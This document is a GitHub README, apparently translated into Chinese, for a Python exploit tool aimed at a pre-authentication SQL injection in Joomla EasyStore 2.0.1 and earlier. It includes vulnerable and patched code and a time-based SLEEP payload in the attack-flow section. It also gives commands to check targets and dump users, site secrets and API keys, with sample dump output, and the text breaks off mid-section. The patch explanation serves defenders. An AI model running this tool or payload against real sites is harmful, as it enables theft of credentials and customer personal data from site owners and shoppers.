shinthink/CVE-2026-65761
GitHub: shinthink/CVE-2026-65761
针对 Joomla EasyStore 未授权 SQL 注入漏洞(CVE-2026-65761)的自动化检测与数据导出利用工具。
Stars: 0 | Forks: 0
CVE-2026-65761 — EasyStore Joomla Pre-Auth SQL 注入
filter_sortby Direction → ORDER BY 注入 → 完整数据库读取
## 概述 **CVE-2026-65761**(CVSS 9.3 严重)是 JoomShaper 开发的 **EasyStore for Joomla** 中存在的一个 **无需身份验证的 SQL 注入**漏洞,影响版本 **≤ 2.0.1**。 `filter_sortby` 产品列表参数被拆分为列和方向。虽然列会根据允许列表进行验证,但**方向被直接拼接到 SQL `ORDER BY` 子句中**,没有任何 ASC/DESC 限制——这使得匿名访问者可以进行任意的 SQL 注入。 未经身份验证的攻击者可以**读取整个 Joomla 数据库**:用户账户、密码哈希、会话数据、站点机密、API 密钥以及所有客户 PII(姓名、电子邮件、地址、电话号码、购买记录)。 | | | |---|---| | **CVE** | CVE-2026-65761 | | **CVSS** | 9.3 严重 | | **受影响版本** | EasyStore ≤ 2.0.1 | | **已修复版本** | EasyStore 2.0.2 | | **类型** | SQL 注入 (CWE-89) | | **身份验证** | 无需 | | **发现者** | Phil Taylor (mySites.guru) — 2026 年 7 月 | ## 漏洞机制 ### 根本原因 `FilterHelper.php:741` 返回排序方向时,没有进行任何 ASC/DESC 允许列表检查: ``` // Vulnerable (EasyStore 2.0.1) // FilterHelper.php:741 return [$orderArray[0], strtoupper($orderArray[1])]; // ^^^^^^^^^ No validation — raw value after uppercase ``` `ProductsModel.php:932` 将方向直接拼接到 SQL 中: ``` // ProductsModel.php:932 $query->order($column . ' ' . $direction); // ^^^^^^^^^ Raw SQL concatenation ``` 同级的品牌和集合列表都有适当的验证方向允许列表。但产品列表却没有。 ### 补丁 (EasyStore 2.0.2) ``` // Fixed — FilterHelper.php:741-742 $direction = strtoupper($orderArray[1]); return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC']; // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Allow-list check // Fixed — ProductsModel.php:918-920 (second validation added) if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) { $direction = 'DESC'; } ``` ### 攻击流程 ``` 1. Attacker crafts: filter_sortby=price-ASC,(SELECT SLEEP(5)) └─ splits to: column=price, direction=ASC,(SELECT SLEEP(5)) 2. Column "price" passes allow-list check ✅ └─ ['ordering','featured','best_selling','title','price','created'] 3. Direction "ASC,(SELECT SLEEP(5))" passes strtoupper() └─ No ASC/DESC validation in vulnerable version 4. SQL constructed: ORDER BY min_price ASC,(SELECT SLEEP(5)) └─ Time-based confirmation: 5 second delay 5. Attacker extracts full database via blind SQLi ``` ### 前置条件 | 需求 | 详情 | |---|---| | EasyStore ≤ 2.0.1 | 已安装存在漏洞的版本 | | 可访问产品列表 | `index.php?option=com_easystore&view=products` | | 无需身份验证 | 可匿名执行 | | MySQL/MariaDB | 通过 SLEEP() 进行基于时间的提取 | ## 安装说明 ``` git clone https://github.com/shinthink/CVE-2026-65761.git cd CVE-2026-65761 # 无需依赖 — 仅使用 Python stdlib ``` ## 用法 ``` # 检查漏洞(非破坏性) python3 cve_2026_65761.py --url https://target.com --check # 导出 Joomla 用户(用户名、邮箱、姓名) python3 cve_2026_65761.py --url https://target.com --dump-users # 完整导出(用户 + 站点密钥 + EasyStore config + API keys) python3 cve_2026_65761.py --url https://target.com --dump-joomla ``` ### 输出 ``` +=================================================================+ | CVE-2026-65761 — EasyStore Joomla Pre-Auth SQLi Exploit | +=================================================================+ Target : https://shop.target.com Plugin : EasyStore ≤ 2.0.1 | Payload: filter_sortby=col-ASC,INJECTION [STEP 1] Verifying SQL injection (time-based) [*] SLEEP(5) delay: 5.2s [+] SQLi confirmed (5.2s) [STEP 2] Database fingerprint [Version] 10.11.14-MariaDB [Database] joomla_db [User] joomla_user@localhost [Prefix] jos_ [+] Version : 10.11.14-MariaDB [+] Database: joomla_db [+] User : joomla_user@localhost [+] Prefix : jos_ [STEP 3] Dumping users [+] Users: 15 USERNAME EMAIL NAME ───────────────────── ─────────────────────────────── ────────── admin admin@shop.com Super User manager manager@shop.com Store Manager [STEP 4] Dumping sensitive configuration [Secret] abc123def456... [EasyStore] {"paypal_email":"payments@shop.com"... [+] Secret: abc123def456... [+] EasyStore: {"paypal_email":"payments@shop.com"... [+] paypal_email: payments@shop.com Requests: 1847 ``` ## 技术细节 ### 存在漏洞的代码路径 | 文件 | 行号 | 问题 | |---|---|---| | `site/src/Helper/FilterHelper.php` | 741 | 返回方向时未使用允许列表 — 仅使用了 `strtoupper()` | | `site/src/Model/ProductsModel.php` | 932 | 将 `$direction` 直接拼接进 `ORDER BY` 子句 | ### 注入参数 ``` filter_sortby =标签:CISA项目, Cobalt Strike集成, Joomla, 安全漏洞, 漏洞验证(POC), 逆向工具